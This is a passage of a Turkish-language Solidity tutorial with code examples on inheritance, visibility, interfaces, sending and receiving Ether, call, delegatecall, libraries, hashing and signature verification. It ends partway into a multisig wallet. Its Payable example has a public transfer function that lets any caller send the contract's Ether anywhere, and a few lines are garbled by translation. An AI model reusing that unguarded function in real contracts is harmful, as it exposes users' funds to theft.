constructor() X("X was called") Y("Y was called") {}

}

*// Çağrılan yapıcıların sırası:*

*// 1. X*

*// 2. Y*

*// 3. E*

contract E is X, Y {

constructor() Y("Y was called") X("X was called") {}

}

## Devir / Miras (Inheritance)

Solidity, çoklu kalıtımı destekler. Sözleşmeler,  is  anahtar kelimesini kullanarak diğer sözleşmeleri devralabilir.

Bir alt sözleşme tarafından geçersiz kılınacak işlev,  virtual olarak bildirilmelidir.

Bir üst işlevi geçersiz kılacak işlev için  override anahtar kelimesi kullanılmalıdır.

inheritance sırası önemlidir.

Ana sözleşmeleri “en temele benzeyen (most base-like)”den “en çok türetilene (most derived)” doğru sıralamalısınız.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

*/\* Kalıtım grafiği*

*A*

*/ \*

*B C*

*/ \ /*

*F D,E*

*\*/*

contract A {

function foo() public pure virtual returns (string memory) {

return "A";

}

}

*// Sözleşmeler, 'is' anahtar sözcüğünü kullanarak diğer sözleşmeleri devralır.*

contract B is A {

*// A.foo()'yu geçersiz kıl*

function foo() public pure virtual override returns (string memory) {

return "B";

}

}

contract C is A {

*// A.foo()'yu geçersiz kıl*

function foo() public pure virtual override returns (string memory) {

return "C";

}

}

*// Sözleşmeler, birden çok ana sözleşmeden devralabilir.*

*// içinde birden çok kez tanımlanmış bir işlev çağrıldığında*

*// farklı sözleşmeler, ana sözleşmeler aranır*

*// sağdan sola ve derinlemesine ilk olarak.*

contract D is B, C {

*// D.foo() "C" döndürür*

*// C, foo() işleviyle en doğru ana sözleşme olduğundan*

function foo() public pure override(B, C) returns (string memory) {

return super.foo();

}

}

contract E is C, B {

*// E.foo() "B"yi döndürür*

*// B, foo() işleviyle en doğru ana sözleşme olduğundan*

function foo() public pure override(C, B) returns (string memory) {

return super.foo();

}

}

*// Kalıtım, "en temele benzeyen"den "en türetilmiş"e doğru sıralanmalıdır.*

*// A ve B'nin sırasını değiştirmek derleme hatası verecektir.*

contract F is A, B {

function foo() public pure override(A, B) returns (string memory) {

return super.foo();

}

}

## Devralınan Durum Değişkenlerini Gölgeleme (Shadowing Inherited State Variables)

Fonksiyonlardan farklı olarak, durum değişkenleri, alt sözleşmede yeniden bildirilerek geçersiz kılınamaz.

Devralınan alınan durum değişkenlerini doğru şekilde nasıl geçersiz kılacağımızı öğrenelim.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract A {

string public name = "Contract A";

function getName() public view returns (string memory) {

return name;

}

}

*// Solidity 0.6'da gölgelemeye izin verilmez*

*// Bu derlenmeyecek*

*// B sözleşmesi A {*

*// string public name = "Sözleşme B";*

*// }*

contract C is A {

*// Bu, devralınan durum değişkenlerini geçersiz kılmanın doğru yoludur.*

constructor() {

name = "Contract C";

}

*// C.getName "Sözleşme C"yi döndürür*

}

## Ana Sözleşmeleri Çağırma

Ana sözleşmeler doğrudan çağırılabilir veya  super anahtar kelimesi kullanılarak dolaylı çağrılabilir.

 super anahtar kelimesini kullanarak, acil ana sözleşmelerin tümü çağrılır.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

*/\* Kalıtım ağacı*

*A*

*/ \*

*B C*

*\ /*

*D*

*\*/*

contract A {

*// Buna olay denir. İşlevinizden olayları yayabilirsiniz*

*// ve işlem günlüğüne kaydedilirler.*

*// Bizim durumumuzda, bu fonksiyon çağrılarını izlemek için faydalı olacaktır.*

event Log(string message);

function foo() public virtual {

emit Log("A.foo called");

}

function bar() public virtual {

emit Log("A.bar called");

}

}

contract B is A {

function foo() public virtual override {

emit Log("B.foo called");

A.foo();

}

function bar() public virtual override {

emit Log("B.bar called");

super.bar();

}

}

contract C is A {

function foo() public virtual override {

emit Log("C.foo called");

A.foo();

}

function bar() public virtual override {

emit Log("C.bar called");

super.bar();

}

}

contract D is B, C {

*// Deneme:*

*// - D.foo'yu arayın ve işlem günlüklerini kontrol edin.*

*// D, A, B ve C'yi miras alsa da, yalnızca C ve ardından A olarak adlandırılır.*

*// - D.bar'ı arayın ve işlem günlüklerini kontrol edin*

*// D, C'yi, ardından B'yi ve son olarak A'yı çağırdı.*

*// super iki kez (B ve C tarafından) çağrılmasına rağmen, yalnızca bir kez A olarak adlandırıldı.*

function foo() public override(B, C) {

super.foo();

}

function bar() public override(B, C) {

super.bar();

}

}

## Görünürlük (Visibility)

İşlevler ve durum değişkenleri, diğer sözleşmeler tarafından erişilebilir olup olmadıklarını bildirmek zorundadır.

Fonksiyonlar aşağıda gösterildiği gibi bildirilebilir

• public  (herkese açık)- herhangi bir sözleşme ve hesap arayabilir

• private  (özel)- yalnızca işlevi tanımlayan sözleşmenin içinde

• internal  (dahili) - yalnızca dahili bir işlevi devralan sözleşmenin içinde

• external  (harici)- yalnızca diğer sözleşmeler ve hesaplar arama yapabilir

Durum değişkenleri  public (genel),  private (özel) veya  internal  (dahili) olarak bildirilebilir ancak  external (harici) olarak bildirilemez.

State variables can be declared as, orbut not.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Base {

*// Özel fonksiyon sadece çağrılabilir*

*// - bu sözleşmenin içinde*

*// Bu sözleşmeyi devralan sözleşmeler bu işlevi çağıramaz.*

function privateFunc() private pure returns (string memory) {

return "private function called";

}

function testPrivateFunc() public pure returns (string memory) {

return privateFunc();

}

*// Dahili fonksiyon çağrılabilir*

*// - bu sözleşmenin içinde*

*// - bu sözleşmeyi devralan sözleşmelerin içinde*

function internalFunc() internal pure returns (string memory) {

return "internal function called";

}

function testInternalFunc() public pure virtual returns (string memory) {

return internalFunc();

}

*// Genel işlevler çağrılabilir*

*// - bu sözleşmenin içinde*

*// - bu sözleşmeyi devralan sözleşmelerin içinde*

*// - diğer sözleşmeler ve hesaplar tarafından*

function publicFunc() public pure returns (string memory) {

return "public function called";

}

*// Dış fonksiyonlar sadece çağrılabilir*

*// - diğer sözleşmeler ve hesaplar tarafından*

function externalFunc() external pure returns (string memory) {

return "external function called";

}

// Biz çağırmaya çalıştığımız için bu fonksiyon derlenmeyecek

*// burada harici bir fonksiyon.*

*// fonksiyon testExternalFunc() genel saf dönüşler (dize belleği) {*

*// externalFunc() döndür;*

*// }*

*// Durum değişkenleri*

string private privateVar = "my private variable";

string internal internalVar = "my internal variable";

string public publicVar = "my public variable";

*// Durum değişkenleri harici olamaz, bu nedenle bu kod derlenmeyecektir.*

*// string external externalVar = "harici değişkenim";*

}

contract Child is Base {

*// Devralınan sözleşmelerin özel işlevlere erişimi yok*

*// ve durum değişkenleri.*

*// function testPrivateFunc() genel saf dönüşler (dize belleği) {*

*// privateFunc() döndür;*

*// }*

*// Alt sözleşmeler içinde dahili işlev çağrısı çağrılır.*

function testInternalFunc() public pure override returns (string memory) {

return internalFunc();

}

}

## Arayüz (Interface)

Bir  Interface (arayüz) bildirerek diğer sözleşmelerle etkileşimde bulunabilirsiniz.

Arayüz

• herhangi bir işlev uygulanamaz (function)

• diğer arayüzlerden devralabilir (inherit)

• bildirilen tüm işlevler harici olmalıdır (external)

• bir kurucu bildiremez (constructor)

• durum değişkenlerini bildiremez (state variables)

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Counter {

uint public count;

function increment() external {

count += 1;

}

}

interface ICounter {

function count() external view returns (uint);

function increment() external;

}

contract MyContract {

function incrementCounter(address \_counter) external {

ICounter(\_counter).increment();

}

function getCount(address \_counter) external view returns (uint) {

return ICounter(\_counter).count();

}

}

*// Uniswap örneği*

interface UniswapV2Factory {

function getPair(address tokenA, address tokenB)

external

view

returns (address pair);

}

interface UniswapV2Pair {

function getReserves()

external

view

returns (

uint112 reserve0,

uint112 reserve1,

uint32 blockTimestampLast

);

}

contract UniswapExample {

address private factory = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;

address private dai = 0x6B175474E89094C44Da98b954EedeAC495271d0F;

address private weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

function getTokenReserves() external view returns (uint, uint) {

address pair = UniswapV2Factory(factory).getPair(dai, weth);

(uint reserve0, uint reserve1, ) = UniswapV2Pair(pair).getReserves();

return (reserve0, reserve1);

}

}

## Ödenebilir (Payable)

 payable  (ödenebilir) olarak beyan edilen işlevler ve adresler, sözleşmeye  ether  alabilir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Payable {

*// Ödenecek adres Ether alabilir*

address payable public owner;

*// Borçlu kurucu Ether alabilir*

constructor() payable {

owner = payable(msg.sender);

}

*// Bu sözleşmeye Ether yatırma işlevi.*

*// Bu işlevi bir miktar Ether ile birlikte çağırın.*

*// Bu sözleşmenin bakiyesi otomatik olarak güncellenecektir.*

function deposit() public payable {}

*// Bu işlevi bir miktar Ether ile birlikte çağırın.*

*// Bu fonksiyon ücretli olmadığı için fonksiyon hata verecektir.*

function notPayable() public {}

*// Bu sözleşmeden tüm Ether'i çekme işlevi.*

function withdraw() public {

*// bu sözleşmede saklanan Ether miktarını al*

uint amount = address(this).balance;

*// tüm Ether'i sahibine gönder*

*// Sahibinin adresi ödenebilir olduğundan, sahibi Ether alabilir*

(bool success, ) = owner.call{value: amount}("");

require(success, "Failed to send Ether");

}

*// Ether'i bu sözleşmeden girişten adrese aktarma işlevi*

function transfer(address payable \_to, uint \_amount) public {

*// "to"nun ödenebilir olarak bildirildiğini unutmayın*

(bool success, ) = \_to.call{value: \_amount}("");

require(success, "Failed to send Ether");

}

}

## Ether Gönderme (aktarma, gönderme, çağırma)

### Ether nasıl gönderilir (send)?

Ether'i diğer sözleşmelere şu şekilde gönderebilirsiniz:

* transfer (2300 gaz, throws error)
* send (2300 gaz, returns bool)
* call (tüm gazı iletin veya gazı ayarlayın, returns bool)

### Ether nasıl alınır?

Ether alan bir sözleşme aşağıdaki işlevlerden en az birine sahip olmalıdır

* receive() external payable
* fallback() external payable

receive() ;  msg.data  boşsa çağırılır, aksi halde  fallback()  çağrılır.

### Hangi yöntemi kullanmalısınız?

call  yeniden giriş koruması ile birlikte Aralık 2019'dan sonra kullanılması önerilen yöntemdir.

Yeniden girişe karşı koruma şu şekilde yapılabilir;

* Diğer sözleşmeleri çağırmadan önce tüm durum değişikliklerini yapmak
* Yeniden giriş koruması değiştiricisini kullanma (re-entrancy guard modifier)

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract ReceiveEther {

*/\**

*Hangi fonksiyon çağrılır, fallback() or receive()?*

*send Ether*

*|*

*msg.data is empty?*

*/ \*

*yes no*

*/ \*

*receive() exists? fallback()*

*/ \*

*yes no*

*/ \*

*receive() fallback()*

*\*/*

*// Ether alma işlevi. msg.data boş olmalı*

receive() external payable {}

*// msg.data boş olmadığında geri dönüş işlevi çağrılır*

fallback() external payable {}

function getBalance() public view returns (uint) {

return address(this).balance;

}

}

contract SendEther {

function sendViaTransfer(address payable \_to) public payable {

*// Bu işlev artık Ether göndermek için önerilmez.*

\_to.transfer(msg.value);

}

function sendViaSend(address payable \_to) public payable {

*// Gönder, başarıyı veya başarısızlığı gösteren bir boole değeri döndürür.*

*// Bu işlev Ether göndermek için önerilmez.*

bool sent = \_to.send(msg.value);

require(sent, "Failed to send Ether");

}

function sendViaCall(address payable \_to) public payable {

*// Çağrı, başarıyı veya başarısızlığı gösteren bir boole değeri döndürür.*

*// Bu, kullanılması önerilen geçerli yöntemdir.*

(bool sent, bytes memory data) = \_to.call{value: msg.value}("");

require(sent, "Failed to send Ether");

}

}

## Yedek (Fallback)

fallback  (yedek), herhangi bir bağımsız değişken almayan ve hiçbir şey döndürmeyen bir işlevdir.

Ne zaman yürütülür;

* var olmayan bir fonksiyon çağrılır veya
* Ether doğrudan bir sözleşmeye gönderiliyor ancak  receive()  mevcut değil veya  msg.data  boş değil

fallback  (yedek),  transfer  (aktarma) veya  send (gönderme) yoluyla çağrıldığında 2300 gaz sınırına sahiptir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Fallback {

event Log(uint gas);

*// Fallback işlevi harici olarak bildirilmelidir.*

fallback() external payable {

*// gönder / aktar (bu geri dönüş işlevine 2300 gazı iletir)*

*// call (tüm gazı iletir)*

emit Log(gasleft());

}

*// Bu sözleşmenin bakiyesini kontrol etmek için yardımcı fonksiyon*

function getBalance() public view returns (uint) {

return address(this).balance;

}

}

contract SendToFallback {

function transferToFallback(address payable \_to) public payable {

\_to.transfer(msg.value);

}

function callFallback(address payable \_to) public payable {

(bool sent, ) = \_to.call{value: msg.value}("");

require(sent, "Failed to send Ether");

}

}

## Çağırmak (Call)

call , diğer sözleşmelerle etkileşim kurmak için kullanılan düşük seviyeli bir işlevdir.

Bu, yalnızca  fallback  (yedek) işlevini çağırarak Ether gönderirken kullanılması önerilen yöntemdir.

Ancak, mevcut işlevleri çağırmak için önerilen yol değildir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Receiver {

event Received(address caller, uint amount, string message);

fallback() external payable {

emit Received(msg.sender, msg.value, "Fallback was called");

}

function foo(string memory \_message, uint \_x) public payable returns (uint) {

emit Received(msg.sender, msg.value, \_message);

return \_x + 1;

}

}

contract Caller {

event Response(bool success, bytes data);

*// B sözleşmesinin kaynak koduna sahip olmadığını düşünelim.*

*// A sözleşmesi, ancak A'nın adresini ve çağrılacak işlevi biliyoruz.*

function testCallFoo(address payable \_addr) public payable {

*// Eter gönderebilir ve özel bir gaz miktarı belirleyebilirsiniz.*

(bool success, bytes memory data) = \_addr.call{value: msg.value, gas: 5000}(

abi.encodeWithSignature("foo(string,uint256)", "call foo", 123)

);

emit Response(success, data);

}

*// Var olmayan bir işlevi çağırmak, geri dönüş işlevini tetikler.*

function testCallDoesNotExist(address \_addr) public {

(bool success, bytes memory data) = \_addr.call(

abi.encodeWithSignature("doesNotExist()")

);

emit Response(success, data);

}

}

## Temsili Çağrı (Delegatecall)

is a low level function similar to call.

delegatecall , çağrıya benzer düşük seviyeli bir işlevdir.  A  sözleşmesi,  B sözleşmesine temsilci çağrısını yürüttüğünde;  B'nin sözleşme kodu  A sözleşmesinin depolama alanı,  msg.sender  ve  msg.value ile yürütülür.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

*// NOT: Önce bu sözleşmeyi dağıtın*

contract B {

*// NOT: depolama düzeni, sözleşme A ile aynı olmalıdır*

uint public num;

address public sender;

uint public value;

function setVars(uint \_num) public payable {

num = \_num;

sender = msg.sender;

value = msg.value;

}

}

contract A {

uint public num;

address public sender;

uint public value;

function setVars(address \_contract, uint \_num) public payable {

*// A'nın deposu ayarlandı, B değiştirilmedi.*

(bool success, bytes memory data) = \_contract.delegatecall(

abi.encodeWithSignature("setVars(uint256)", \_num)

);

}

}

## Fonksiyon Seçici (Function Selector)

Bir fonksiyon çağrıldığında, çağrı verilerinin ilk 4 bayt arama verileri (calldata) hangi işlevin çağrılacağını belirtir.

Bu 4 bayta işlev seçici denir (function selector).

Örneğin, aşağıdaki bu kodu alın.  Addr adresindeki bir sözleşmede aktarımı ( transfer ) gerçekleştirmek için çağrıyı ( call ) kullanır.

addr.call(abi.encodeWithSignature("transfer(address,uint256)", 0xSomeAddress, 123))

 abi.encodeWithSignature(....) 'dan döndürülen ilk 4 bayt, işlev seçicidir.

Kodunuzdaki işlev seçiciyi önceden hesaplayıp satır içine alırsanız, belki de çok az miktarda gaz tasarrufu yapabilirsiniz?

İşlev seçicinin nasıl hesaplandığı aşağıda açıklanmıştır.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract FunctionSelector {

*/\**

*"aktarım(adres,uint256)"*

*0xa9059cbb*

*"transferFrom(adres,adres,uint256)"*

*0x23b872dd*

*\*/*

function getSelector(string calldata \_func) external pure returns (bytes4) {

return bytes4(keccak256(bytes(\_func)));

}

}

## Diğer Sözleşmeyi Çağırma

Sözleşme diğer sözleşmeleri 2 şekilde çağırabilir.

Bunu yapmanın en kolay yolu,  A.foo(x, y, z) gibi onu çağırmaktır.

Diğer sözleşmeleri aramanın başka bir yolu da düşük seviyeli aramayı kullanmaktır (low-level  call).

Bu yöntem tavsiye edilmez.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Callee {

uint public x;

uint public value;

function setX(uint \_x) public returns (uint) {

x = \_x;

return x;

}

function setXandSendEther(uint \_x) public payable returns (uint, uint) {

x = \_x;

value = msg.value;

return (x, value);

}

}

contract Caller {

function setX(Callee \_callee, uint \_x) public {

uint x = \_callee.setX(\_x);

}

function setXFromAddress(address \_addr, uint \_x) public {

Callee callee = Callee(\_addr);

callee.setX(\_x);

}

function setXandSendEther(Callee \_callee, uint \_x) public payable {

(uint x, uint value) = \_callee.setXandSendEther{value: msg.value}(\_x);

}

}

## Diğer Sözleşmeleri Oluşturan Kontrakt

Sözleşmeler,  new  anahtar kelime kullanılarak diğer sözleşmeler tarafından oluşturulabilir. 0.8.0'dan bu yana,  new  anahtar kelime  salt  seçeneklerini belirterek  create2  özelliğini destekler.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract Car {

address public owner;

string public model;

address public carAddr;

constructor(address \_owner, string memory \_model) payable {

owner = \_owner;

model = \_model;

carAddr = address(this);

}

}

contract CarFactory {

Car[] public cars;

function create(address \_owner, string memory \_model) public {

Car car = new Car(\_owner, \_model);

cars.push(car);

}

function createAndSendEther(address \_owner, string memory \_model) public payable {

Car car = (new Car){value: msg.value}(\_owner, \_model);

cars.push(car);

}

function create2(

address \_owner,

string memory \_model,

bytes32 \_salt

) public {

Car car = (new Car){salt: \_salt}(\_owner, \_model);

cars.push(car);

}

function create2AndSendEther(

address \_owner,

string memory \_model,

bytes32 \_salt

) public payable {

Car car = (new Car){value: msg.value, salt: \_salt}(\_owner, \_model);

cars.push(car);

}

function getCar(uint \_index)

public

view

returns (

address owner,

string memory model,

address carAddr,

uint balance

)

{

Car car = cars[\_index];

return (car.owner(), car.model(), car.carAddr(), address(car).balance);

}

}

## Try Catch

try / catch , yalnızca harici işlev çağrılarından ve sözleşme oluşturmadan kaynaklanan hataları yakalayabilir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

*// try/catch örnekleri için kullanılan harici sözleşme*

contract Foo {

address public owner;

constructor(address \_owner) {

require(\_owner != address(0), "invalid address");

assert(\_owner != 0x0000000000000000000000000000000000000001);

owner = \_owner;

}

function myFunc(uint x) public pure returns (string memory) {

require(x != 0, "require failed");

return "my func was called";

}

}

contract Bar {

event Log(string message);

event LogBytes(bytes data);

Foo public foo;

constructor() {

*// Bu Foo sözleşmesi, örneğin harici çağrı ile try catch için kullanılır.*

foo = new Foo(msg.sender);

}

*// Harici çağrı ile dene / yakala örneği*

*// tryCatchExternalCall(0) => Log("harici arama başarısız")*

*// tryCatchExternalCall(1) => Log("fonksiyonum çağrıldı")*

function tryCatchExternalCall(uint \_i) public {

try foo.myFunc(\_i) returns (string memory result) {

emit Log(result);

} catch {

emit Log("external call failed");

}

}

*// Sözleşme oluşturma ile dene / yakala örneği*

*// tryCatchNewContract(0x0000000000000000000000000000000000000000) => Günlük("geçersiz adres")*

*// tryCatchNewContract(0x00000000000000000000000000000000000000001) => LogBytes("")*

*// tryCatchNewContract(0x0000000000000000000000000000000000000002) => Log("Foo oluşturuldu")*

function tryCatchNewContract(address \_owner) public {

try new Foo(\_owner) returns (Foo foo) {

*// burada foo değişkenini kullanabilirsiniz*

emit Log("Foo created");

} catch Error(string memory reason) {

*// başarısız olan revert() ve require() hatalarını yakalayın*

emit Log(reason);

} catch (bytes memory reason) {

*// başarısız olan assert()'i yakala*

emit LogBytes(reason);

}

}

}

## İçe Aktarma (Import)

Solidity'de yerel ve harici dosyaları içe aktarabilirsiniz.

### Yerel (Local)

Klasör yapımız bu şekilde:

├── Import.sol

└── Foo.sol

Foo.sol

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

struct Point {

uint x;

uint y;

}

error Unauthorized(address caller);

function add(uint x, uint y) pure returns (uint) {

return x + y;

}

contract Foo {

string public name = "Foo";

}

Import.sol

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

*// Foo.sol'ü geçerli dizinden içe aktar*

import "./Foo.sol";

*// {symbol1 as alias, symbol2} dosyasını "dosyaadı"ndan içe aktarın;*

import {Unauthorized, add as func, Point} from "./Foo.sol";

contract Import {

*// Foo.sol'ü başlat*

Foo public foo = new Foo();

*// Adını alarak Foo.sol'ü test edin.*

function getFooName() public view returns (string memory) {

return foo.name();

}

}

### External

URL'yi kopyalayarak da  [GitHub](https://github.com/) 'dan içe aktarabilirsiniz.

*// https://github.com/owner/repo/blob/branch/path/to/Contract.sol*

import "https://github.com/owner/repo/blob/branch/path/to/Contract.sol";

*// openzeppelin-contract repo'dan ECDSA.sol içe aktarma örneği, sürüm-v4.5 şubesi*

*// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol*

import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/release-v4.5/contracts/utils/cryptography/ECDSA.sol";

## Library (Kütüphane)

Kütüphaneler sözleşmelere benzer, ancak herhangi bir durum değişkeni bildiremezsiniz ve ether gönderemezsiniz.

Aksi takdirde, kütüphane dağıtılmalı ve ardından sözleşme dağıtılmadan önce bağlanmalıdır.

*// SPDX-License-Identifier: MIT*

pragma solidity ^0.8.10;

library SafeMath {

function add(uint x, uint y) internal pure returns (uint) {

uint z = x + y;

require(z >= x, "uint overflow");

return z;

}

}

library Math {

function sqrt(uint y) internal pure returns (uint z) {

if (y > 3) {

z = y;

uint x = y / 2 + 1;

while (x < z) {

z = x;

x = (y / x + x) / 2;

}

} else if (y != 0) {

z = 1;

}

// else z = 0 (varsayılan değer)

}

}

contract TestSafeMath {

using SafeMath for uint;

uint public MAX\_UINT = 2\*\*256 - 1;

function testAdd(uint x, uint y) public pure returns (uint) {

return x.add(y);

}

function testSquareRoot(uint x) public pure returns (uint) {

return Math.sqrt(x);

}

}

*// Dizindeki öğeyi silmek ve diziyi yeniden düzenlemek için dizi işlevi*

*// Elemanlar arasında boşluk olmaması için.*

library Array {

function remove(uint[] storage arr, uint index) public {

*// Move the last element into the place to delete*

require(arr.length > 0, "Can't remove from empty array");

arr[index] = arr[arr.length - 1];

arr.pop();

}

}

contract TestArray {

using Array for uint[];

uint[] public arr;

function testArrayRemove() public {

for (uint i = 0; i < 3; i++) {

arr.push(i);

}

arr.remove(1);

assert(arr.length == 2);

assert(arr[0] == 0);

assert(arr[1] == 2);

}

}

## ABI Decode

abi.encode  verileri  bytes’ a kodlar.

abi.decode  kullanılarak bytes ‘ların kodarı tekrar verilere dönüştürülür.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract AbiDecode {

struct MyStruct {

string name;

uint[2] nums;

}

function encode(

uint x,

address addr,

uint[] calldata arr,

MyStruct calldata myStruct

) external pure returns (bytes memory) {

return abi.encode(x, addr, arr, myStruct);

}

function decode(bytes calldata data)

external

pure

returns (

uint x,

address addr,

uint[] memory arr,

MyStruct memory myStruct

)

{

*// (uint x, address addr, uint[] memory arr, MyStruct myStruct) = ...*

(x, addr, arr, myStruct) = abi.decode(data, (uint, address, uint[], MyStruct));

}

}

## Hashing with Keccak256

keccak256 , girdinin Keccak-256 karmasını hesaplar.

Bazı kullanım durumları şunlardır:

• Bir girdiden deterministik benzersiz bir kimlik oluşturma

• Kabul Et-Göster şeması

• Kompakt kriptografik imza (daha büyük bir giriş yerine hash'i imzalayarak)

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract HashFunction {

function hash(

string memory \_text,

uint \_num,

address \_addr

) public pure returns (bytes32) {

return keccak256(abi.encodePacked(\_text, \_num, \_addr));

}

*// Karma çarpışma örneği*

*// Birden fazla dinamik veri türü ilettiğinizde karma çakışması meydana gelebilir*

*// abi.encodePacked'e. Böyle bir durumda bunun yerine abi.encode kullanmalısınız.*

function collision(string memory \_text, string memory \_anotherText)

public

pure

returns (bytes32)

{

*// encodePacked(AAA, BBB) -> AAABBB*

*// encodePacked(AA, ABBB) -> AAABBB*

return keccak256(abi.encodePacked(\_text, \_anotherText));

}

}

contract GuessTheMagicWord {

bytes32 public answer =

0x60298f78cc0b47170ba79c10aa3851d7648bd96f2f8e46a19dbc777c36fb0c00;

*// Sihirli kelime "Solidity"*

function guess(string memory \_word) public view returns (bool) {

return keccak256(abi.encodePacked(\_word)) == answer;

}

}

## İmza Doğrulama(Verifying Signature)

Mesajlar zincirden çıkarılabilir ve ardından akıllı bir sözleşme kullanılarak zincirde doğrulanabilir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

*/\* İmza doğrulama*

*Nasıl İmzalanır ve Doğrulanır*

*# İmza*

*1. İmzalamak için mesaj oluşturun*

*2. Mesajı hash edin*

*3. Karmayı imzalayın (zincir dışı, özel anahtarınızı gizli tutun)*

*# Doğrulamak*

*1. Orijinal mesajdan hash'i yeniden oluşturun*

*2. İmzalayanı imzadan ve karmadan kurtarın*

*3. Kurtarılan imzalayanı talep edilen imzalayanla karşılaştırın*

*\*/*

contract VerifySignature {

*/\* 1. MetaMask hesabının kilidini aç*

*ethereum.enable()*

*\*/*

*/\* 2. İmzalanacak mesaj karmasını al*

*getMessageHash(*

*0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C,*

*123,*

*"coffee ve donut",*

*1*

*)*

*hash = "0xcf36ac4f97dc10d91fc2cbb20d718e94a8cbfe0f82eaedc6a4aa38946fb797cd"*

*\*/*

function getMessageHash(

address \_to,

uint \_amount,

string memory \_message,

uint \_nonce

) public pure returns (bytes32) {

return keccak256(abi.encodePacked(\_to, \_amount, \_message, \_nonce));

}

*/\* 3. Mesaj karmasını imzala*

*# tarayıcı kullanarak*

*hesap = "imzalayanın hesabını buraya kopyala yapıştır"*

*ethereum.request({ method: "personal\_sign", params: [account, hash]}).then(console.log)*

*# web3'ü kullanma*

*web3.personal.sign(hash, web3.eth.defaultAccount, console.log)*

*İmza, farklı hesaplar için farklı olacaktır*

*0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b*

*\*/*

function getEthSignedMessageHash(bytes32 \_messageHash)

public

pure

returns (bytes32)

{

*/\**

*Signature is produced by signing a keccak256 hash with the following format:*

*"\x19Ethereum Signed Message\n" + len(msg) + msg*

*\*/*

return

keccak256(

abi.encodePacked("\x19Ethereum Signed Message:\n32", \_messageHash)

);

}

*/\* 4. İmzayı Doğrula*

*signer = 0xB273216C05A8c0D4F0a4Dd0d7Bae1D2EfFE636dd*

*to = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C*

*amount = 123*

*message = "coffee ve donuts"*

*nonce = 1*

*signature =*

*0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b*

*\*/*

function verify(

address \_signer,

address \_to,

uint \_amount,

string memory \_message,

uint \_nonce,

bytes memory signature

) public pure returns (bool) {

bytes32 messageHash = getMessageHash(\_to, \_amount, \_message, \_nonce);

bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);

return recoverSigner(ethSignedMessageHash, signature) == \_signer;

}

function recoverSigner(bytes32 \_ethSignedMessageHash, bytes memory \_signature)

public

pure

returns (address)

{

(bytes32 r, bytes32 s, uint8 v) = splitSignature(\_signature);

return ecrecover(\_ethSignedMessageHash, v, r, s);

}

function splitSignature(bytes memory sig)

public

pure

returns (

bytes32 r,

bytes32 s,

uint8 v

)

{

require(sig.length == 65, "invalid signature length");

assembly {

*/\**

*İlk 32 bayt, imzanın uzunluğunu saklar*

*add(sig, 32) = pointer of sig + 32*

*etkili bir şekilde, imzanın ilk 32 baytını atlar*

*mload(p), p bellek adresinden başlayarak sonraki 32 baytı belleğe yükler*

*\*/*

*// uzunluk önekinden sonra ilk 32 bayt*

r := mload(add(sig, 32))

*// saniye 32 bayt*

s := mload(add(sig, 64))

*// son bayt (sonraki 32 baytın ilk baytı)*

v := byte(0, mload(add(sig, 96)))

}

*// dolaylı olarak (r, s, v) döndür*

}

}

## Ether Cüzdanı (Wallet)

Temel bir cüzdan örneği.

• Herkes ETH gönderebilir.

• Sadece sahibi çekilebilir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract EtherWallet {

address payable public owner;

constructor() {

owner = payable(msg.sender);

}

receive() external payable {}

function withdraw(uint \_amount) external {

require(msg.sender == owner, "caller is not owner");

payable(msg.sender).transfer(\_amount);

}

function getBalance() external view returns (uint) {

return address(this).balance;

}

}

## Çoklu İmza Cüzdanı (Multi-Sig Wallet)

Çoklu imzalı bir cüzdan oluşturalım. İşte özellikler.

Cüzdan sahipleri şunları yapabilir:

• bir işlem gönderin

• bekleyen işlemlerin onaylanması ve iptal edilmesi

• yeterli sayıda sahip tarafından onaylandıktan sonra herkes bir işlemi gerçekleştirebilir.

*// SPDX-Lisans-Tanımlayıcısı: MIT*

pragma solidity ^0.8.10;

contract MultiSigWallet {

event Deposit(address indexed sender, uint amount, uint balance);

event SubmitTransaction(

address indexed owner,

uint indexed txIndex,

address indexed to,

uint value,

bytes data

);

event ConfirmTransaction(address indexed owner, uint indexed txIndex);

event RevokeConfirmation(address indexed owner, uint indexed txIndex);

event ExecuteTransaction(address indexed owner, uint indexed txIndex);

